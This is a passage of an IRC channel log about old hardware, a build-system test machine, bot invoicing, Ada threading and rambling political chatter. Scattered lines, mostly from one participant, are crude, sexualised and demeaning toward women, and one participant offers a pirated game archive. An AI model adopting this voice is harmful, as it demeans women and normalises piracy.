can guarantee that they suffice ? ) , + the proofs/articles. 1893343;1549468865;mircea_popescu;"good" is not given man ; only "better". 1893344;1549468935;*;asciilifeform brb,ttime 1893345;1549469673;*;BingoBoingo found a couple 160GB rust spinners going through the luggage, one of them can be repurposed to keep hanbot from having to work off of USB 2.0 1893346;1549472110;asciilifeform;BingoBoingo: let's use ( unless mircea_popescu specifically prefers the usb stick for somereason ) 1893347;1549472506;BingoBoingo;asciilifeform: http://p.bvulpes.com/pastes/SI7x7/?raw=true 1893348;1549472547;BingoBoingo;asciilifeform: I am going to head down to the basement to put two old RK drives in dulap for zeroing and to retrieve the USB to SATA cable for zeroing the rust 1893349;1549476273;asciilifeform;http://btcbase.org/log/2019-02-06#1893257 << incidentally, must add that i do ~not~ recommend this box , unless yer experimenting with the linked display thing; it takes good chunk of hour to get disk in/out of it on acct of braindamaged mechanical design of chassis 1893350;1549476273;a111;Logged on 2019-02-06 15:32 asciilifeform: mircea_popescu: for that matter, the starvation-cheap machine in http://www.loper-os.org/?p=2993 , 'samsung n150', same chipset as x60 . cost me exactly fiddybux on fleamarkets. 1893351;1549476327;asciilifeform;( aside from that, it's more or less same thing as x60, but with slightly smaller and substantially cheaper-feeling kbd ) 1893352;1549476360;asciilifeform;but if yer concern is more 'how many fit on a shelf' -- it's a champ. approx the size of 1.5 vhs tapes. 1893353;1549476422;*;asciilifeform would really like to somehow turn rk into a sane lappy, but presently dun have enuff hands for such thing 1893354;1549476445;asciilifeform;really rk would make an ideal lappy guts. 1893355;1549476481;asciilifeform;could prolly run off a handful of 'aa' batteries for coupla days. 1893356;1549476853;mircea_popescu;wasn't going to. 1893357;1549477051;BingoBoingo;X120e is easy enough to work on, chinese plasic, but pre-2013 AMD dual core thing 1893358;1549477980;asciilifeform;BingoBoingo: that one actually is baked around same contents as ye olde http://btcbase.org/log/2017-05-11#1654659 1893359;1549477980;a111;Logged on 2017-05-11 18:07 mircea_popescu: so then what did you like about apu1 in the first place ? 1893360;1549478098;BingoBoingo;asciilifeform: Baked with a beefier clock! 1893361;1549478109;BingoBoingo;1.6Ghz!!! 1893362;1549478127;asciilifeform;mircea_popescu: if you find that you wanna experiment with the x60, you will like that the radio nic comes out without hacksaws & drills ( 1 screw ) . 1893363;1549487598;BingoBoingo;trinque: Do you have a Gentoo install image suitable for walking to Cuntoo? 1893364;1549498832;trinque;BingoBoingo: I've intentionally not produced any additional binaries which would bring into question whether future boojums came from me or gentoo upstream 1893365;1549498876;trinque;any old debian or w/e you want should do, provided you have a vtools handy 1893366;1549502415;BingoBoingo;In one hand I have a very enviable problem in a repeat customer wanting a box stood up. With that box the customer intends to have very capable hands under his control test the cuntoo build process. As a bonus they are offering to molest USB sticks into cuntoo propagators. 1893367;1549502425;BingoBoingo;On the other hand my technical director is buried in work, Republican and Saecular. The boot drive we had been using to stand up boxes infrequently as we have... this box doesn't want to boot to. I would like to offer as pleasant an environment as possible for the customer's experiment, and for that... I suspect any old Debian will not do. The more time they have to do their experiment and the less they spend making the environment 1893368;1549502425;BingoBoingo;right for their experiment, the better value they get. 1893369;1549502438;BingoBoingo;I've made a new stick off of what Gentoo.org advertises as a "2012" build, but Gentoo.org isn't in my WOT. 1893370;1549502444;asciilifeform;BingoBoingo: i have 2h slot now, let's fill that order 1893371;1549502448;BingoBoingo;We've got http://www.loper-os.org/?p=2295 but nothing similar for AMD64, after a day reading docs and working the brain I lack answers for "wat do" which appear palatable or right. 1893372;1549502456;asciilifeform;BingoBoingo: lemme know what's missing plox 1893373;1549502477;BingoBoingo;asciilifeform: I made a new boot drive, just finished baking. 1893374;1549502506;asciilifeform;this will be good test for 'can light up cuntoo from in a heathen gentoo' 1893375;1549502509;asciilifeform;let's proceed plox 1893376;1549502527;asciilifeform;BingoBoingo: if you anticipate lotsa log static for this one, let's take it to #p 1893377;1549502532;BingoBoingo;Aite 1893378;1549502759;asciilifeform;we're gonna fill that order, BingoBoingo , so customer licks lips & asks for seconds!111, ideally. 1893379;1549503036;asciilifeform;meanwhile, as BingoBoingo marches to the magick cellar, today's trilemalotto yields : http://trilema.com/2014/the-finfisherfinspy-story-for-posterity/ 1893380;1549508203;trinque;BingoBoingo: sure, makes sense. is the reason I didn't bake such a thing clear? 1893381;1549508300;asciilifeform;clear to me, trinque 1893382;1549508316;*;trinque stands ready to assist if anybody hits a roadblock. 1893383;1549508376;BingoBoingo;trinque: Very clear, was despairing at a potential for want of a nail that has since found nail 1893384;1549508736;BingoBoingo;!Q later tell hanbot http://p.bvulpes.com/pastes/ODjpO/?raw=true << Credentials for AMD64 box 1893385;1549508736;lobbesbot;BingoBoingo: The operation succeeded. 1893386;1549508770;asciilifeform;a++ BingoBoingo , ty for the hands 1893387;1549508836;asciilifeform;hanbot, mircea_popescu : machine is ready for cuntoo beachhead . 1893388;1549508890;asciilifeform;when comes time to cycle the mains, plox to ping BingoBoingo . 1893389;1549509061;asciilifeform;BingoBoingo get some rest nao. 1893390;1549509313;*;asciilifeform bbl, to eat/sleep 1893391;1549511298;*;BingoBoingo to similar 1893392;1549556222;BingoBoingo;In other news, some sort of Derp about Vzla meeting in town today. Going to be popping in and out of Datacenter just to be seen and watch the glory of the blinkenlights 1893393;1549556457;BingoBoingo;Also in local news the police apparently raided the wrong house yesterday and a lulzy tape of herps hammering for minutes on the mundane for here front door gate before entering is lulzy tape. 1893394;1549556753;asciilifeform;guten morgen BingoBoingo 1893395;1549556767;BingoBoingo;Mornin' 1893396;1549558174;asciilifeform;in other cuntooisms : if anyone is short a x64 box to test-fire cuntoo with, asciilifeform has a surplus disposable box, 'lenovo s10-3' , with that same chipset as in x60 etc period ( https://archive.is/Dny84 ) , if anyone in l1 wants, it's yours for the cost of postage ( has a mechanical hdd in it, i fughet of what size ) 1893397;1549558246;asciilifeform;( cpu is intel , 'N455', 1 of their earliest 64bit lappy product ) 1893398;1549559951;BingoBoingo;!Xview 1037 1893399;1549559951;auctionbot;Buy order # 1037: 2k Wired Filthy Fiats (WU esta bien) Opening: 610mn ecu Leading Bid: None Ending: 2019-02-08 02:11:49.889189 UTC (20 hours 48 mins) 1893400;1549559978;BingoBoingo;^ Just under 21 hours left to bid in the Pizarro fiat buying auction 1893401;1549559999;feedbot;http://qntra.net/2019/02/france-withdraws-ambassador-from-rome-over-macrons-opposition-to-italian-support-for-french-democracy/ << Qntra -- France Withdraws Ambassador From Rome Over Macron's Opposition To Italian Support For French Democracy 1893402;1549560101;BingoBoingo;BTC/USD price implied by the opening offer is 3278.69 USD/BTC 1893403;1549561003;asciilifeform;BingoBoingo: s/participate diplomacy/participate in diplomacy/ 1893404;1549561216;BingoBoingo;asciilifeform: ty, fxd 1893405;1549562787;BingoBoingo;!!invoice mircea_popescu 0.03542500 hanbot AMD64 playground 1893406;1549563624;mircea_popescu;meanwhile in the everlulz, Cisza 21F sub 3h "Don't you know what lesbian means? fuck you" LordMPofTMSR "Lmao. I should know, I'm sure I fucked more than you." 1893407;1549563644;mircea_popescu;very much truth, btw, i don't know there exist three girls alive that've fucked more lesbians than you truly. 1893408;1549563716;trinque;sorry about that ^ 1893409;1549563725;trinque;BingoBoingo: you'll have to re-run. 1893410;1549563753;asciilifeform;guten tag trinque , mircea_popescu 1893411;1549563755;trinque;now that we're at something of a cuntoo interude while folks are testing, I'll find some time to figure out what deedbot gags on time to time re: reconnecting 1893412;1549563760;trinque;hola asciilifeform 1893413;1549563818;mircea_popescu;hola! 1893414;1549563833;mircea_popescu;trinque iirc spyked was sorta chasing the same bug. 1893415;1549563842;mircea_popescu;can just as well eat something else off plate.\ 1893416;1549564224;mircea_popescu;dat trilemalotto, such wins in gems and goldbricks. 1893417;1549564498;BingoBoingo;!!invoice mircea_popescu 0.03542500 hanbot AMD64 playground 1893418;1549564505;deedbot;Get your OTP: http://p.bvulpes.com/pastes/cqlFK/?raw=true 1893419;1549564506;BingoBoingo;ty trinque 1893420;1549564524;mircea_popescu;three-an-a-half tits! 1893421;1549564551;BingoBoingo;!!v 20D69B251E0AE308BC6F1FC96C91FE2BB5C9385B3E9F8D624E063793A34A97B4 1893422;1549564553;mircea_popescu;0.01 bitcoin, also known as a titspot. 1893423;1549564555;deedbot;Invoiced mircea_popescu 0.03542500 << hanbot AMD64 playground 1893424;1549564566;BingoBoingo;Titspots indeed 1893425;1549564642;*;mircea_popescu goes to write the last month;'s report. which was going to get done sooner if we didn't end up drinking a lot of sangrias an' partying with the hooters waitresses. 1893426;1549564721;asciilifeform;!!later tell diana_coman: finally dug up the http://btcbase.org/log/2019-02-03#1892086 item ( believe or not, '98 disk reads a++ ) : http://nosuchlabs.com/pub/vintage/oldies.tar.gz . you'll need 'arj' but that ought not to be problem on dos box. 1893427;1549564721;a111;Logged on 2019-02-03 17:42 asciilifeform: diana_coman: it's on a mitsumi gold cd thing, i'ma excavate it tomorrow morning 1893428;1549564866;asciilifeform;( ~700MB , and cannot guarantee that all items will work on emulator, some of'em did require fiddling w/ config.sys etc in the olden days.. ) 1893429;1549565108;asciilifeform;diana_coman: if you can get hold of actual dos box with e.g. 'soundblaster', most of what's in there oughta work, in principle. 1893430;1549566670;diana_coman;thanks asciilifeform! I'm downloading it 1893431;1549566745;asciilifeform;diana_coman: np. lemme know which flavours the kid ended up liking, i may have moar in the depths of the warez chests along those lines. 1893432;1549566785;diana_coman;atm he's struggling to become finger-agile enough for supaplex-proficiency so it might take a while 1893433;1549566805;diana_coman;he still has restriction on too much screen time so there is that factor too 1893434;1549566842;asciilifeform;i played good chunk of those back when was same size as him and at elder brother's mercy for cpu cycles, lol, also 1893435;1549566922;BingoBoingo;In other olds, the present live version of this archived url shows nothing but EU General Derp Protection Act redaction notice https://archive.is/msyuN 1893436;1549566924;diana_coman;iirc I was a bit older actually; at 6-7 it was only Basic and casette loading stuff, I think I was more like 10-12 for supaplex 1893437;1549566946;asciilifeform;ah hm i may have overestimated the size 1893438;1549566953;mircea_popescu;diana_coman not as long as you think, i recall the same exact summer i went from fearing the forks in june to playing with them for sport in august. 1893439;1549566977;mircea_popescu;(i am right in thinking the "move just as it approaches so it turns around" trick is common knowledge yes ?) 1893440;1549567004;diana_coman;heh, yes; he still gets caught at "run down chased by stuff and turn sharply left/right" 1893441;1549567012;mircea_popescu;hehe. 1893442;1549567014;asciilifeform;mircea_popescu: i can't picture one'd get far in supa w/out knowing that, yea 1893443;1549567019;mircea_popescu;i think i was more like 7 than 5 1893444;1549567041;mircea_popescu;btw, if anyone cares -- i never had "screentime restrictions" besides a purely oral "would you be reasonable!!!" ; doesn't seem to have done me any harm. 1893445;1549567080;mircea_popescu;the high level i suppose is disputable ; but when getting down to practicals, i was still reading the bottom line on the eye chart at time-and-a-half the distance when we fitted bimbo for glasses. 1893446;1549567101;diana_coman;mircea_popescu, I never had screen restriction either but for one thing, I did not start at 4 and for the other there is plenty other stuff (including sleep!) that needs to fit it so... 1893447;1549567131;mircea_popescu;sleep is for later, when he goes to bed with girls. ALL THE TIME FOR SLEEP IN THE WORLD THEN! 1893448;1549567137;*;asciilifeform didnt have 'restriction' as such, but when was single-digit y.o. shared what was left of the day's cpu after brother had eaten 1893449;1549567143;mircea_popescu;now computers, that's important. 1893450;1549567245;asciilifeform;arguably both asciilifeform & brother had 'too much screen' , given as both grew to program for bread, life of sin. 1893451;1549567246;mircea_popescu;the sad truth of the matter being, that with the machines in the shit our simpler brothers (whom jahweh still awaits in his special place in his kingdom) it's much easier for children than for adults to maintain interest in the damned things. 1893452;1549567259;mircea_popescu;too much shit to annoy and irritate once one's past his prime. 1893453;1549567261;diana_coman;hm, I'm not even sure he doesn't disagree on that already given that he was at his happiest when among 3 sisters 1893454;1549567321;mircea_popescu;lol. 1893455;1549567326;mircea_popescu;did he splash 'em ? 1893456;1549567355;asciilifeform;mircea_popescu: a greybeard once told asciilifeform , 'you dun know it, but you got finite # loc in you, once you've written them will stand the machine no moar and have to move to forest and eat bark'. i'm not even convinced that it was joke. 1893457;1549567369;diana_coman;no idea but according to reports he "looked totally like a satisfied cat and didn't want to leave" 1893458;1549567370;mircea_popescu;now you see why i save. 1893459;1549567414;diana_coman;asciilifeform, q being though ...what's wrong with moving to the forest anyway? 1893460;1549567432;asciilifeform;diana_coman: the moar loc, the less i see wrong w/bark, lol 1893461;1549567435;mircea_popescu;his appreciation for culinary virtues of treebark isn't fully developed yet. 1893462;1549567443;asciilifeform;it develops as the odometer rolls. 1893463;1549567463;diana_coman;well, just choose some forest with...mushrooms at least! 1893464;1549567477;mircea_popescu;who knows, maybe you end up reinventing java then. 1893465;1549567500;asciilifeform;the idea , i think, is to stop before the fungus sets in an' you start producing those. 1893466;1549567733;asciilifeform;http://btcbase.org/log/2019-02-07#1893445 << who was bimbo ? 1893467;1549567733;a111;Logged on 2019-02-07 19:18 mircea_popescu: the high level i suppose is disputable ; but when getting down to practicals, i was still reading the bottom line on the eye chart at time-and-a-half the distance when we fitted bimbo for glasses. 1893468;1549567879;mircea_popescu;you know, http://btcbase.org/log/2019-02-05#1892631 1893469;1549567879;a111;Logged on 2019-02-05 01:24 feedbot: http://bimbo.club/2019/02/philosophical-transactions-for-the-months-of-june-july-and-august-1715-account-of-books-ii/ << Bimbo.Club -- Philosophical Transactions. For the months of June, July and August, 1715. - Account of Books - II. 1893470;1549567890;asciilifeform;aaa 1893471;1549568232;mircea_popescu;BingoBoingo ftr, ~each~ memo line for the ~same machine~ during the past 4 billings reads differently. 1893472;1549568240;mircea_popescu;why not just pick something and go with it ? 1893473;1549568269;BingoBoingo;mircea_popescu: Will do 1893474;1549568302;asciilifeform;BingoBoingo: imho oughta formulate as ' $machine ; $interval ; $ cost ' 1893475;1549568697;BingoBoingo;Will make sure all that information is included 1893476;1549568826;BingoBoingo;In other wild finds relating to http://trilema.com/2015/heres-what-they-dont-tell-you-when-they-bring-you-those-papers-to-sign/ See: Pinned Tweet Charlie Shrem Verified account @CharlieShrem 20 Feb 2017: Watch me go from CEO to Dishwasher in "Disrupting Money" (derpurl) 1893477;1549568858;asciilifeform;lol 'surprised by wealth'(tm)(r)(esr) 1893478;1549568877;mircea_popescu;guy was always a dishwasher. 1893479;1549568898;asciilifeform;i expect will soon write megab00k, 'how to lose friends and infuriate people' 1893480;1549568988;mircea_popescu;it's a wonder nobody ever "figures out" the grand usgistani [http://trilema.com/2014/in-which-you-become-grain/#selection-99.0-99.578][preoccupation with "youth"] is entirely built out of a solid bedrock of "you will disapoint" certainty. 1893481;1549569008;mircea_popescu;is this format irritating actually ? 1893482;1549569047;asciilifeform;imho this is great format ( tho phf hasn't baked the eater of it yet ) 1893483;1549569078;mircea_popescu;kinda seems to me the alternative of unanchored urls even more infuriating 1893484;1549569088;asciilifeform;if he finds how to make the eater survive broken lines , will be double win 1893485;1549569183;asciilifeform;mircea_popescu: i dun find the [] irritating at all 1893486;1549569196;asciilifeform;think, could actually ~use~ hypertext... 1893487;1549569387;mircea_popescu;!!deed http://p.bvulpes.com/pastes/OVeeP/?raw=true 1893488;1549569393;deedbot;accepted: 1 1893489;1549569567;asciilifeform;mircea_popescu: the usg.'youth' eagerly and w/out much massage swallow the 'you have Great Ideas!11' idjicy ( where reality is 'yer a not-yet-dry lemon to squeeze' ) 1893490;1549569646;asciilifeform;iirc mircea_popescu had a piece where described this algo, on which errything from hollywood to softwaretardism has been running for ~100y 1893491;1549569679;asciilifeform;koschei economy. 1893492;1549569711;mircea_popescu;the problem is the breakdown of the fambly. father should have craked skull let all the goange & gargauni out long before 18th bday. 1893493;1549569729;asciilifeform;hm i thought it was 'gargauni & barzauni' 1893494;1549569734;mircea_popescu;also. many kinds. 1893495;1549569777;asciilifeform;( on asciilifeform's home planet typically folx say simply тараканы , i.e. cockroaches , in skull ) 1893496;1549569902;mircea_popescu;romanians imply various subtle distinction. eg, "gargaun" would be the sort of skittering beetle that digs unseen and ruins structures, like termite or weevil (the folk name of which, "gargarita", very much model for name) 1893497;1549569940;asciilifeform;nifty, descriptive. 1893498;1549569942;mircea_popescu;whereas barzaun would be loudly and ineptly flying item, like various carabidae 1893499;1549569968;mircea_popescu;so in this sense, inept shit like "o guys, i'm bitcoin jizzus" very much barzaun, whereas inept idiocy like "oh, why should i read log, i am busyman", gargaun. 1893500;1549569988;mircea_popescu;goange more generic name, and i fear the implication is that female headspace not worthy of such distinctions, to be described generically. 1893501;1549570010;mircea_popescu;hence why "goange & gargauni" implies a gender-balanced population, whereas the other'd go better with eg gunnery sgt hartman's job. 1893502;1549570082;mircea_popescu;(in the direct, barzaun is the euro hornet, vespa crabro) 1893503;1549570111;asciilifeform;sadly seems that father can not only remove these , but insert. 1893504;1549570144;mircea_popescu;there's a reason maga's but a dream. 1893505;1549570196;asciilifeform;y'know , sorta like how zoologists found iirc that hedgehog (the most flea-infested known , afaik, beast) can be de-flea'd, and breed similarly clean hedgehog 1893506;1549570228;asciilifeform;but erry known specimen from wild carries multiple grams of flea 1893507;1549570280;mircea_popescu;i wouldn't want to play any computer games hedgehogs made. 1893508;1549570296;asciilifeform;( incidentally afaik hedgehog is not found in the americas. and i do not know specifically why, gotta presume that ~someone~ must've set some loose at some point -- but they cannot live here ) 1893509;1549570312;mircea_popescu;possibly raccoon eats ? 1893510;1549570318;asciilifeform;could be 1893511;1549570455;asciilifeform;if can eat hive of hornets whole, and even drywall -- wainot hedgehog. 1893512;1549570542;*;asciilifeform bbl,meats 1893513;1549571282;feedbot;http://trilema.com/2019/minigame-smg-january-2019-statement/ << Trilema -- MiniGame (S.MG), January 2019 Statement 1893514;1549573322;diana_coman;I'll add to gargauni, goange and barzauni the "fluturi" as one might have those too! 1893515;1549573393;diana_coman;since fluturi are butterflies, they are obviously lighter and not loud but also without much substance and not long lived 1893516;1549573419;diana_coman;sort of day-dreaming stuff 1893517;1549574497;mircea_popescu;arguably least harmful variety. 1893518;1549574507;mircea_popescu;fwih esl gals only get them in the stomach. 1893519;1549574521;mircea_popescu;a more practical-minded culture, aka "numa' la foale ti-i gindu', sa le-ndopi!" 1893520;1549574576;diana_coman;well yes, less harmful, perhaps even pretty for a bit (until one remembers that they are anyway just flying worms of sorts) 1893521;1549574604;mircea_popescu;sa scoatem untul din fluturi, tovarasi! 1893522;1549574614;diana_coman;sometimes I wonder if practical-minded is not the polite way of saying unimaginative but anyways 1893523;1549574631;diana_coman;daca-i cu tovarasi e cu margarina, nu cu unt!! 1893524;1549574737;mircea_popescu;well... what comes out lol 1893525;1549579328;feedbot;http://ossasepia.com/2019/02/07/seppuku-job-market-minimal-dynamic-tasking-in-ada/ << Ossasepia -- Seppuku Job Market: Minimal Dynamic Tasking in Ada 1893526;1549582030;feedbot;http://trilema.com/2019/where-da-party-at/ << Trilema -- Where da party at ?! 1893527;1549582504;shinohai;mircea_popescu: http://trilema.com/2019/where-da-party-at/#selection-127.0-127.12 <<< space? 1893528;1549582629;mircea_popescu;it is actually a word. 1893529;1549582694;shinohai;O.o 1893530;1549582791;*;asciilifeform reads diana_coman's opus.. 1893531;1549582806;asciilifeform;a++ title btw. 1893532;1549582970;asciilifeform;diana_coman: 1 immediate q : why do the worker jobs have to be terminated & rebirthed ( rather than having N , 1 per cpu, and 4evah infinite loop of plucking work from queue & placing in finishedworx queue when done ) ? 1893533;1549583024;mircea_popescu;because there's potentially more types of jobs than cores. 1893534;1549583083;mircea_popescu;if you go "job is the player", then you'll trivially want to support more than 1 player/core. if you go "job is crafting or w/e", you will have 50 cores doing "crafting" one time and 5 another time depending and so on. 1893535;1549583093;mircea_popescu;ie, you can't really have static jobs. 1893536;1549583108;asciilifeform;mircea_popescu: the 'workers' are specialized for particular type of job ? ( i haven't read the proggy yet -- but seems to me that if that's the case, oughta specialize'em by case selector inside 'worker', rather than eating the overhead of rebirthing thread 9000/sec ) 1893537;1549583131;asciilifeform;anyways i'ma only say moar after read proggy. 1893538;1549583154;mircea_popescu;i find apache an excellent model for the problem here. the concept of "worker" as used there specifically. 1893539;1549583177;*;asciilifeform has not used ada threadism yet, so quite interested to see what diana_coman made of it 1893540;1549583283;mircea_popescu;i actually quite like the encapsulation she calls "sjm" 1893541;1549583439;asciilifeform;http://ossasepia.com/2019/02/07/seppuku-job-market-minimal-dynamic-tasking-in-ada/#selection-101.42-101.207 << possibly i mentioned this prev., but asciilifeform avoids secondarystack not because it doesn't work reliably , but because it makes audit of binary moar difficult. i dunno if this concern is really applicable to items other than ffa. 1893542;1549583568;mircea_popescu;it is most wise to start restricted and push out as need be, no sooner. 1893543;1549583595;*;asciilifeform does not disagree 1893544;1549583763;asciilifeform;http://ossasepia.com/2019/02/07/seppuku-job-market-minimal-dynamic-tasking-in-ada/#selection-109.1672-109.1738 << will be interesting to see if this functions if stuffed into a static lib, in light of the http://btcbase.org/log/2019-01-22#1889467 puzzler 1893545;1549583763;a111;Logged on 2019-01-22 22:35 asciilifeform: this is done with a standard ada feature called 'controlled limited type'. which i found that, for no documented reason, dunwork in gnat's static lib. 1893546;1549583949;asciilifeform;i'm betting that it will work , cuz the type aint exported. 1893547;1549584296;asciilifeform;mircea_popescu: http://ossasepia.com/2019/02/07/seppuku-job-market-minimal-dynamic-tasking-in-ada/#selection-139.9098-139.9968 << dun seem like diana_coman's mechanism specialized by creating different 'species' of 'worker' -- but by using case selector, as i expected it would. therefore it remains a puzzle to me why to terminate an' rebirth'em ( to save a few kB of ram when machine load is light ?? ) 1893548;1549584376;mircea_popescu;it's just wireframe! 1893549;1549584386;asciilifeform;hm? 1893550;1549584439;mircea_popescu;you can't go "it doesn't seem to me this architectural model is very strong, seems made of polystyrene". yes, the model's made of polystyrene. 1893551;1549584501;asciilifeform;mircea_popescu: i was nitpicking re the algo, rather than the draft coad per se 1893552;1549584547;mircea_popescu;... 1893553;1549584603;mircea_popescu;"i was nitpicking re strength, not the model per se". wth, it's not necessary the model airplane used to test out the worker hive's going to contain the sort of seating inside you can ~rely on~ to see in the finished item. 1893554;1549584614;asciilifeform;fair'nuff 1893555;1549584826;asciilifeform;http://ossasepia.com/2019/02/07/seppuku-job-market-minimal-dynamic-tasking-in-ada/#selection-185.130-185.193 << (again given that i haven't used the threadtron) interested to learn the answr to 'what do they weigh' 1893556;1549585033;asciilifeform;http://ossasepia.com/2019/02/07/seppuku-job-market-minimal-dynamic-tasking-in-ada/#selection-91.517-91.599 << when might this happen ? 1893557;1549585099;asciilifeform;( as i understand, it could only happen if there is catastrophic error in the logic ? ) 1893558;1549585334;mircea_popescu;well no, it couyld happen because hardware is shit, software is shit, electromagnetism, you name it. 1893559;1549585341;mircea_popescu;why did your rk reboot ? 1893560;1549585365;asciilifeform;lol rk crashed and ate own shit, not reboot, yer thinking of the x64 1893561;1549585372;asciilifeform;but yea 1893562;1549585426;asciilifeform;mircea_popescu: i have similar pieces , in http://btcbase.org/log/2019-02-05#1892778 . 1893563;1549585426;a111;Logged on 2019-02-05 14:49 asciilifeform: on that subj, attentive ffa reader will notice in certain places asciilifeform marked in comment 'cosmic ray resistance' . this indicates mechanisms where there are two or more separate pieces that ensure a correct computation (or death with alarm bells) if somehow bit flips , when this is inexpensive. 1893564;1549585548;*;asciilifeform intends eventually to actually try ffa on a micro with deliberately-glitchy environment, e.g. inside that xray oven, and see how this goes in real life 1893565;1549585619;asciilifeform;the tricky bit with experiments like that, is that if you fry it enuff you get sram cells that go metastable, rather than simply flip, and then all bets off 1893566;1549585683;asciilifeform;sorta why people still occasionally bother to bake 'si on saphire' etc rather than 'hey let's tandem 9000 konsoomer z80' 1893567;1549585785;asciilifeform;will note tho, that if yer machine aint actually intended to fly on a rocket, placing it in a pb bottle is cheaper than baking saphire ic. 1893568;1549586005;asciilifeform;mircea_popescu may also find interesting , that apparently ~soft~ xray is 'glitchier' than hard ( the latter tends to penetrate w/out transferring energy ) 1893569;1549586028;mircea_popescu;certainly. 1893570;1549586055;asciilifeform;in that light the oven oughta make a good ic frier, has adjustable voltage. 1893571;1549586409;asciilifeform;http://btcbase.org/log/2019-02-08#1893553 << as a very small boy, asciilifeform had this toy, where little rocket with two plastic cosmonauts inside, and they were molded in such a way that they only had torso/arms/head, were whole with the cockpit; and took it, as 3-4y.o. might, quite literally, 'in the dark fyootoor man will be grown into ship, live an' die together' 1893572;1549586409;a111;Logged on 2019-02-08 00:10 mircea_popescu: "i was nitpicking re strength, not the model per se". wth, it's not necessary the model airplane used to test out the worker hive's going to contain the sort of seating inside you can ~rely on~ to see in the finished item. 1893573;1549586441;asciilifeform;later actually encountered this trope in fiction and thought of the toy. 1893574;1549586451;mircea_popescu;you might've not been the only one, seen a lot of these 1893575;1549586459;mircea_popescu;tho it's more usually woman-spider than man-starship. 1893576;1549586477;asciilifeform;lol 1893577;1549586548;asciilifeform;i dun think i had a woman-spider single-mold tentaclerape scene as toy. ( maybe in jp they do ? ) 1893578;1549586625;asciilifeform;oddly enuff i did not have this reaction to e.g. tin soldier molded in permanent pose with rifle, or similar . 1893579;1549586657;asciilifeform;the rocket pilots specifically looked as if intended to suggest this thought. 1893580;1549586788;mircea_popescu;reportedly centroamericans had same thought when presented with equestrian tin toys. 1893581;1549586794;mircea_popescu;"manhorse!!!" 1893582;1549586806;asciilifeform;oh ha, apparently ~errything~ is sitting on teh net somewhere, https://archive.is/gReBS << subj, behold. 1893583;1549586956;asciilifeform;https://archive.is/5dIdw << apparently other variants were even moar depressing, this poor fucker has only head 1893584;1549587054;mircea_popescu;this might be the first tracked spaceship i ever saw. 1893585;1549587089;*;mircea_popescu goes away whistling "a mudslide to paradise" 1893586;1549587114;asciilifeform;mircea_popescu: i misremembered, item was a 'moon buggy' 1893587;1549587131;asciilifeform;tho could've sworn also were rocket etc with similar 'feature'. 1893588;1549587211;asciilifeform;i recall pulling the magnets from the motors ( 2!111 of'em ) of that thing. 1893589;1549587234;mircea_popescu;what else is an honest toy motor for! 1893590;1549587281;mircea_popescu;it got so bad in mini-mp household, my father got me a stack of superalloy things. "how can you give that to a child ? you realise what can happen if he swallows one ?" (they were these thin tiny discs with hole in middle, enameled) 1893591;1549587303;mircea_popescu;"do you realise what happens if he keeps mining $50 toys for 35 cent magnets ?" 1893592;1549587304;asciilifeform;i dun think we had neodymium magnet in my orcistan 1893593;1549587332;mircea_popescu;was the only way -- they had to be better, i wouldn't lower myself to mine inferior stuff. 1893594;1549587351;asciilifeform;i mean at all. i dun think even in actual rocket su had'em. 1893595;1549587398;mircea_popescu;i suspect might've been cobalt-nickel or w/e. 1893596;1549587405;asciilifeform;these -- possib 1893597;1549587538;mircea_popescu;in other lulz : "Chinese manufacturers have become a dominant force in neodymium magnet production, based on their control of much of the world's sources of rare earth mines. The United States Department of Energy has identified a need to find substitutes for rare earth metals in permanent magnet technology, and has begun funding such research. The Advanced Research Projects Agency-Energy has sponsored a Rare Earth Alternativ 1893598;1549587538;mircea_popescu;es in Critical Technologies (REACT) program, to develop alternative materials. In 2011, ARPA-E awarded 31.6 million dollars to fund Rare-Earth Substitute projects." 1893599;1549587545;mircea_popescu;the sheer pomposity of these morons. 1893600;1549587568;asciilifeform;lol substitutes ?!! 1893601;1549587581;asciilifeform;'spreading -- works' 1893602;1549587644;mircea_popescu;the sheer unmitigated gall to announce "they identified and sponsored". what the fuck's it supposed to do, i identified a need for more sluts and sponsored the creation thereof at two bits a titpair. what, usg,dea is better than me or something, is the hallucination here ? 1893603;1549587668;mircea_popescu;leaving aside how the 2011 thread seems to never have return to nobody's concern. coulda baked some quantum computing magnets for the same money. 1893604;1549587773;mircea_popescu;in fact, pressed shitboard supermagnet just as likely as 3d-printed quantum computer or whatever the fuck else. they get all the amateur twerps to pretend like pressed shitboard made houses are 100% true and real houses, what's keeping the imaginary magnets and imaginary computers i wish to know ? 1893605;1549587804;asciilifeform;i suppose in 1 sense 'succeeded', iirc principal eater of nd magnet was ye olde mech hdd. tho i dunthink the rise of ssd had any to do with usg idjicy, only w/ korean coolies slaving in 4 shifts 1893606;1549587810;mircea_popescu;the us could be producing supermagnets out of discarded starbucks cups just as well as it makes "bridges" or "college graduates" or whatever else they supposedly make. 1893607;1549587861;mircea_popescu;asciilifeform still no way to have high performance electric engine without high performance magnet. which is all the lulzier considering usgistani "innovation" in "how to go three miles to the galon by first turning it into a large lithium battery" 1893608;1549587875;asciilifeform;mircea_popescu: small ones certainly 1893609;1549587887;asciilifeform;( large motors include 0 magnet, i suspect mircea_popescu knew this ) 1893610;1549587902;mircea_popescu;large electric engines also ~useless. 1893611;1549587918;asciilifeform;y'know , lifts, submarines, etc 1893612;1549587933;mircea_popescu;sure, and trains. 1893613;1549587973;asciilifeform;it's a bitch to make e.g. small stepper w/out magnet. 1893614;1549587981;mircea_popescu;except the us has no train infrastructure to speak of still, and instead of fixing that obvious problem blew wad on anti-car ; and the sligtht advantage submarine had historically is mostly gone, by now sub and ship equally detecvtable. 1893615;1549588039;asciilifeform;mircea_popescu: pretty sure even ~these~ they buy from siemens. 1893616;1549588052;asciilifeform;amerisads forgot long ago how to make even such thing as electric motor. 1893617;1549588059;mircea_popescu;well, it'd be unfair to women of color or some shit to make them. 1893618;1549588168;asciilifeform;i expect there will be plenty of attempted-'substitute' lulz, a la the wooden spokes in wheels of late imperial jp trucks. 1893619;1549588259;asciilifeform;it is even rumoured that usg is pouring printolade into fischer-tropsch , a la the ~prev~ reich 1893620;1549588284;mircea_popescu;already in full swing. the one response when getting $item for enslaved usgistani girly is "o wow this is the best $item i ever had". 1893621;1549588288;asciilifeform;( coal is moar or less the 1 mineral resource left in north a in any substantial qty ) 1893622;1549588301;mircea_popescu;which is so su it screams, except of course it dun scream audibly enough to penetrate the us moron shell. 1893623;1549588328;asciilifeform;mircea_popescu: verily. see also e.g. http://btcbase.org/log/2019-02-02#1891456 1893624;1549588328;a111;Logged on 2019-02-02 02:40 asciilifeform: asciilifeform's pet , ~erry day at breakfast : 'when can i eat 